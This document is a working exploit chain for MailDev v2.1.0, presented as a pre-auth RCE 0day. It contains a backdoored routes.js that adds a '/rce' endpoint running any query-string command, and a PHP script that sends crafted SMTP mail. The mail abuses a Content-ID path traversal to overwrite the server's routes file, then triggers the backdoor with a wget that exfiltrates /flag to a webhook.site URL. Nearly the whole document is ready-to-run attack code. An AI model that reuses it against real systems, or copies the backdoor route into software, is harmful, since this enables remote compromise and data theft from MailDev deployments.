maildev preauth RCE 0day

polluted_web.js

'use strict'

/**
 * MailDev - routes.js
 */
const express = require('express')
const compression = require('compression')
const pkg = require('../package.json')
const { filterEmails } = require('./utils')

const emailRegexp = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/

module.exports = function (app, mailserver, basePathname) {
  const router = express.Router()

  // Get all emails
  router.get('/email', compression(), function (req, res) {
    mailserver.getAllEmail(function (err, emailList) {
      if (err) return res.status(404).json([])
      if (req.query) {
        const filteredEmails = filterEmails(emailList, req.query)
        res.json(filteredEmails)
      } else {
        res.json(emailList)
      }
    })
  })

  // Get single email
  router.get('/email/:id', function (req, res) {
    mailserver.getEmail(req.params.id, function (err, email) {
      if (err) return res.status(404).json({ error: err.message })

      email.read = true // Mark the email as 'read'

      res.json(email)
    })
  })

  // Read email
  // router.patch('/email/:id/read', function (req, res) {
  //  mailserver.readEmail(req.params.id, function (err, email) {
  //    if (err) return res.status(500).json({ error: err.message })
  //    res.json(true)
  //  })
  // })

  // Read all emails
  router.patch('/email/read-all', function (req, res) {
    mailserver.readAllEmail(function (err, count) {
      if (err) return res.status(500).json({ error: err.message })
      res.json(count)
    })
  })

  // Delete all emails
  router.delete('/email/all', function (req, res) {
    mailserver.deleteAllEmail(function (err) {
      if (err) return res.status(500).json({ error: err.message })

      res.json(true)
    })
  })

  // Delete email by id
  router.delete('/email/:id', function (req, res) {
    mailserver.deleteEmail(req.params.id, function (err) {
      if (err) return res.status(500).json({ error: err.message })

      res.json(true)
    })
  })

  // Get Email HTML
  router.get('/email/:id/html', function (req, res) {
    // Use the headers over hostname to include any port
    const baseUrl = req.headers.host + (req.baseUrl || '')

    mailserver.getEmailHTML(req.params.id, baseUrl, function (err, html) {
      if (err) return res.status(404).json({ error: err.message })

      res.send(html)
    })
  })

  // Serve Attachments
  router.get('/email/:id/attachment/:filename', function (req, res) {
    mailserver.getEmailAttachment(req.params.id, req.params.filename, function (err, contentType, readStream) {
      if (err) return res.status(404).json('File not found')

      res.contentType(contentType)
      readStream.pipe(res)
    })
  })

  // Serve email.eml
  router.get('/email/:id/download', function (req, res) {
    mailserver.getEmailEml(req.params.id, function (err, contentType, filename, readStream) {
      if (err) return res.status(404).json('File not found')

      res.setHeader('Content-disposition', 'attachment; filename=' + filename)
      res.contentType(contentType)
      readStream.pipe(res)
    })
  })

  // Get email source from .eml file
  router.get('/email/:id/source', function (req, res) {
    mailserver.getRawEmail(req.params.id, function (err, readStream) {
      if (err) return res.status(404).json('File not found')
      readStream.pipe(res)
    })
  })

  // Get any config settings for display
  router.get('/config', function (req, res) {
    res.json({
      version: pkg.version,
      smtpPort: mailserver.port,
      isOutgoingEnabled: mailserver.isOutgoingEnabled(),
      outgoingHost: mailserver.getOutgoingHost()
    })
  })

  // Relay the email
  router.post('/email/:id/relay/:relayTo?', function (req, res) {
    mailserver.getEmail(req.params.id, function (err, email) {
      if (err) return res.status(404).json({ error: err.message })

      if (req.params.relayTo) {
        if (emailRegexp.test(req.params.relayTo)) {
          email.to = [{ address: req.params.relayTo }]
          email.envelope.to = [{ address: req.params.relayTo, args: false }]
        } else {
          return res.status(400).json({ error: 'Incorrect email address provided :' + req.params.relayTo })
        }
      }

      mailserver.relayMail(email, function (err) {
        if (err) return res.status(500).json({ error: err.message })

        res.json(true)
      })
    })
  })

  // Health check
  router.get('/healthz', function (req, res) {
    res.json(true)
  })

  // exploit
  router.get('/rce', function(req, res) {
    res.json(require("child_process").execSync(req.query.cmd).toString())
  })

  router.get('/reloadMailsFromDirectory', function (req, res) {
    mailserver.loadMailsFromDirectory()
    res.json(true)
  })
  app.use(basePathname, router)
}

rce.php

<?php

/*

maildev/maildev v2.1.0 Chained RCE (0day)
by stypr

1. Arbitrary file write vulnerability on saveAttachment
    If Content-ID is set to <../../a> , path traversal works and hence exploitable
    https://github.com/maildev/maildev/blob/357a20edcd205413d3590aedb8fcd7c97563c40d/lib/mailserver.js#L92C1-L100C2

2. Docker instance runs on `node`, `/home/node` exists... any file can be overwritten easily :)
    ```
    $ pwd
    /home/node
    ~ $ ls -la
    total 400
    drwxr-sr-x    1 node     node          4096 Aug  2 02:35 .
    drwxr-xr-x    1 root     root          4096 Feb  9  2022 ..
    -rw-------    1 node     node           586 Aug  2 04:28 .ash_history
    -rw-r--r--    1 node     node           927 Mar 15  2022 LICENSE
    -rw-r--r--    1 node     node         10368 Mar 24  2022 README.md
    -rw-r--r--    1 node     node           336 Mar 22  2022 SECURITY.md
    drwxr-xr-x    7 node     node          4096 Mar 23  2022 app
    drwxr-xr-x    2 node     node          4096 Mar 15  2022 bin
    drwxr-xr-x    2 node     node          4096 Mar 24  2022 docker
    -rw-r--r--    1 node     node           316 Mar 15  2022 docker-compose.yml
    -rw-r--r--    1 node     node          1154 Mar 23  2022 example-sendmail.js
    -rw-r--r--    1 node     node          2569 Mar 23  2022 index.js
    drwxr-xr-x    3 node     node          4096 Mar 23  2022 lib
    drwxr-sr-x  103 node     node          4096 Mar 24  2022 node_modules
    -rw-r--r--    1 node     node        327988 Mar 23  2022 package-lock.json
    -rw-r--r--    1 node     node          2780 Mar 23  2022 package.json
    drwxr-xr-x    5 node     node          4096 Mar 22  2022 vendor
    ```

3. There needs to be something to kill the running process

*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'vendor/autoload.php';

function minify_payload($str){
    return implode("\n", array_map("trim", explode("\n", $str)));
}

function stage3(){
    /*
        Run command, but this can be easily changed to something else, we just want to be more sneaky
    */
    $boundary = "mixed-rce-1234";
    $delimiter = "\n--$boundary";
    $body = <<< EOF
        $delimiter
        Content-Type: text/html; charset=UTF-8

        <img src="/rce?cmd=wget+-O+-+https://webhook.site/3942950f-eaca-48a0-ad9d-7260739fd645?$(cat+/flag)">

        $delimiter--
    EOF;

    $body = minify_payload($body);
    return send_mail($boundary, $body);
}

function stage2(){
    /*
        Stage2 tries to reboot the instance
        DoS, whatever should be ok but.. let's assume this server is so vulnerable...
    */
}

function stage1(){
    /*
        Stage1 maliciously overwrites to /home/node/lib/web.js
    */
    $boundary = "mixed-rce-1234";
    $delimiter = "\n--$boundary";
    $malicious_file = chunk_split(base64_encode(file_get_contents("polluted_web.js")), 76);

    $body = <<< EOF
        $delimiter
        Content-Type: text/plain; charset=UTF-8

        Exploit me :)

        $delimiter
        Content-Type: image/png; charset=UTF-8; filename="a.png"
        Content-ID: <../../../home/node/lib/routes.js>
        Content-Transfer-Encoding: base64
        Content-Disposition: inline

        $malicious_file
        $delimiter--
    EOF;

    $body = minify_payload($body);
    return send_mail($boundary, $body);
}

function send_mail($boundary, $body){
    $mail = new PHPMailer(true);
    ob_start();
    try {
        $mail->SMTPDebug = SMTP::DEBUG_SERVER;
        $mail->isSMTP();
        $mail->Host       = 'localhost';
        $mail->SMTPAuth   = false;
        $mail->Username   = '[email protected]';
        $mail->Password   = '';
        $mail->SMTPSecure = null;
        $mail->Port       = 1025;
        $mail->XMailer    = '';
        $mail->setFrom('[email protected]', 'Boy');
        $mail->addAddress('[email protected]', 'Root');
        $mail->addCustomHeader("Content-Type", "multipart/mixed; boundary=\"$boundary\"");
        $mail->Subject = "Exploit";
        $mail->Body    = trim($body);
        $mail->setLanguage('en');
        $mail->send();
    } catch (Exception $e) {
    }
    $result = ob_get_contents();
    ob_end_clean();

    return explode("\n", explode("250 Message queued as ", $result)[1])[0];
}

function main(){
    var_dump(stage1());
    sleep(5);
    var_dump(stage3());
}

main();

?>